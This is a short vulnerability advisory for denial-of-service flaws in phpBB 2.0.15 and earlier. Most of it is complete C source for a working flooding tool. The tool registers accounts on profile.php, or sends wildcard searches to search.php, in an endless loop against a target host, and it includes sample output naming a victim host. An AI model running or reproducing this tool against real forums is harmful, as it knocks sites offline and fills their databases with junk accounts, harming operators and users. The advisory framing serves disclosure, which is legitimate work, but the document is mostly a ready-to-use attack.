Summary
phpBB is "a high powered, fully scalable, and highly customizable Open Source bulletin board package".

Registering multiple users and performing malformed search queries using these users can be used to cause a DoS against the phpBB product.

Credit:
The information has been provided by HaCkZaTaN.

Details
Vulnerable Systems:
* phpBB version 2.0.15 and prior

Exploit:
/*
--------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST] - Advisory #15 - 00/00/06
--------------------------------------------------------
Program: phpBB 2.0.15
Homepage: http://www.phpbb.com
Vulnerable Versions: phpBB 2.0.15 & Lower versions
Risk: High Risk!!
Impact: Multiple DoS Vulnerabilities.

-==phpBB 2.0.15 Multiple DoS Vulnerabilities ==-
---------------------------------------------------------

- Description
---------------------------------------------------------
phpBB is a high powered, fully scalable, and highly customizable
Open Source bulletin board package. phpBB has a user-friendly
interface, simple and straightforward administration panel, and
helpful FAQ. Based on the powerful PHP server language and your
choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers,
phpBB is the ideal free community solution for all web sites.

- Tested
---------------------------------------------------------
localhost & many forums

- Explotation
---------------------------------------------------------
profile.php << By registering as many users as you can.
search.php << by searching in a way that the db couln't observe it.

- Exploit
---------------------------------------------------------
[C Source]
/*
Name: NsT-phpBBDoS
Copyright: NeoSecurityteam
Author: HaCkZaTaN
Date: 19/06/05
Description: xD You must figure out the problem xD

root@NeoSecurity:/home/hackzatan# pico NsT-phpBBDoS.c
root@NeoSecurity:/home/hackzatan# gcc NsT-phpBBDoS.c -o NsT-phpBBDoS
root@NeoSecurity:/home/hackzatan# ./NsT-phpBBDoS
[+] NsT-phpBBDoS v0.1 by HaCkZaTaN
[+] NeoSecurityTeam
[+] Dos has begun....[+]

[*] Use: ./NsT-phpBBDoS <path> <search.php or profile.php> <Host>
[*] Example: ./NsT-phpBBDoS /phpBB/ profile.php Victimshost.com
root@NeoSecurity:/home/hackzatan# ./NsT-phpBBDoS /phpBB/ profile.php Victimshost.com
[+] NsT-phpBBDoS v0.1 by HaCkZaTaN
[+] NeoSecurityTeam
[+] Dos has begun....[+]

.................................
root@NeoSecurity:/home/hackzatan# echo "Let see how many users I have created"
root@NeoSecurity:/home/hackzatan# set | grep MACHTYPE
MACHTYPE=i486-slackware-linux-gnu
root@NeoSecurity:/home/hackzatan#

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#ifdef WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN
#else
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif

#define __USE_GNU
#define _XOPEN_SOURCE

int Connection(char *, int);
void Write_In(int , char *, char *a, char *, int);
char Use(char *);

int main(int argc, char *argv[])
{
int sock, x = 0;
char *Path = argv[1], *Pro_Sea = argv[2], *Host = argv[3];

puts("[+] NsT-phpBBDoS v0.1 by HaCkZaTaN");
puts("[+] NeoSecurityTeam");
puts("[+] Dos has begun....[+]\n");
fflush(stdout);

if(argc != 4) Use(argv[0]);

while(1)
{
sock = Connection(Host,80);
Write_In(sock, Path, Pro_Sea, Host, x);
#ifndef WIN32
shutdown(sock, SHUT_WR);
close(sock);
#else
closesocket(sock);
WSACleanup();
#endif
Pro_Sea = argv[2];
x++;
}
//I don't think that it will get here =)

return 0;
}

int Connection(char *Host, int Port)
{
#ifndef WIN32
#define SOCKET int
#else
int error;
WSADATA wsadata;
error = WSAStartup(MAKEWORD(2, 2), &wsadata);

if (error == SOCKET_ERROR)
{
perror("Could Not Start Up Winsock!\n");
return;
}

#endif

SOCKET sockfd;
struct sockaddr_in sin;
struct in_addr *myaddr;
struct hostent *h;

if(Port <= 0 || Port > 65535)
{
puts("[-] Invalid Port Number\n");
fflush(stdout);
exit(-1);
}

if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
{
perror("socket() ");
fflush (stdout);
exit(-1);
}

if(isalpha(Host[0]))
{
if((h = gethostbyname(Host)) == NULL)
{
perror("gethostbyname() ");
fflush (stdout);
exit(-1);
}
}
else
{
myaddr=(struct in_addr*)malloc(sizeof(struct in_addr));
myaddr->s_addr=inet_addr(Host);

if((h = gethostbyaddr((char *) &myaddr, sizeof(myaddr), AF_INET)) != NULL)
{
perror("gethostbyaddr() ");
fflush (stdout);
exit(-1);
}
}

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(Port);
memcpy(&sin.sin_addr.s_addr, h->h_addr_list[0], h->h_length);

if(connect(sockfd, (struct sockaddr *)&sin, sizeof(struct sockaddr_in)) < 0)
{
perror("connect() ");
exit (-1);
}

return sockfd;
}

void Write_In(int sock, char *Path, char *Pro_Sea, char *Host, int x)
{
char *str1 = (char *)malloc(4*BUFSIZ), *str2 = (char *)malloc(4*BUFSIZ);
char *req0 = "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\r\n"
"Accept: */*\r\n"
"Accept-Language: en-us\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
"Accept encoding: gzip,deflate\r\n"
"Keep-Alive: 300\r\n"
"Proxy-Connection: keep-alive\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Cache-Control: no-cache\r\n"
"Pragma: no-cache\r\n";
char *Profile = "%40neosecurityteam.net&new_password=0123456&"
"password_confirm=0123456&icq=&aim=&msn=&yim=&website=&"
"location=&occupation=&interests=&signature=&viewemail=0&"
"hideonline=0¬ifyreply=0¬ifypm=1&popup_pm=1&attachsig=1"
"&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english"
"&style=1&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&"
"mode=register&agreed=true&coppa=0&submit=Submit\r\n";
char *Search = "&search_terms=any&search_author=*&"
"search_forum=-1&search_time=0&search_fields=all&"
"search_cat=-1&sort_by=0&sort_dir=DESC&show_results=topics&"
"return_chars=200\r\n";

if(strcmp("profile.php", Pro_Sea) == 0) sprintf(str1, "username=NsT__%d&email=NsT__%d%s", x, x, Profile);
else if(strcmp("search.php", Pro_Sea) == 0)
{
Pro_Sea = "search.php?mode=results";
sprintf(str1, "search_keywords=Hack%d%s", x, Search);
}
else
{
puts("Sorry. Try making the right choice");
exit(-1);
}

sprintf(str2, "POST %s%s HTTP/1.1\r\n"
"Host: %s\r\n"
"Referer: http://%s/\r\n%s"
"Content-Length: %d\r\n\r\n%s", Path, Pro_Sea, Host, Host, req0, strlen(str1), str1);

write(sock, str2, strlen(str2));
write(1, ".", 1);
fflush(stdout);
}

char Use(char *program)
{
fprintf(stderr,"[*] Use: %s <path> <search.php or profile.php> <Host>\n", program);
fprintf(stderr,"[*] Example: %s /phpBB/ profile.php Victimshost.com\n", program);
fflush(stdout);
exit(-1);
}

/*

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